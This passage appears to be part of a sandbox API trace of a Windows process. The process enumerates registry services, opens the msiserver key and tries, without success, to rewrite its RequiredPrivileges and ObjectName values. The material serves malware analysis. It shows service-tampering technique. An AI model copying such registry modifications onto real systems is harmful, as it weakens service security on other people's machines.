lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0169.355] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0169.356] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0169.357] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0169.358] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0169.359] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0169.360] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0169.360] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0169.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0169.360] RegCloseKey (hKey=0x140) returned 0x0 [0169.360] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0169.360] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0169.361] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0169.361] RegCloseKey (hKey=0x80000002) returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0169.361] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0169.362] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0169.362] RegCloseKey (hKey=0x9c) returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0169.362] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0169.362] RegCloseKey (hKey=0x140) returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0169.362] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0169.363] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0169.363] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.363] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.363] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.363] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.363] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.363] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0169.364] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x2156ff8, cbData=0x195) returned 0x6 [0169.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2156ff8) returned 1 [0169.364] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1e38, cbData=0x1) returned 0x6 [0169.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.364] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0169.365] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1c88, cbData=0xc) returned 0x6 [0169.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0169.365] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1c88, cbData=0x1) returned 0x6 [0169.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.365] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0169.366] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, 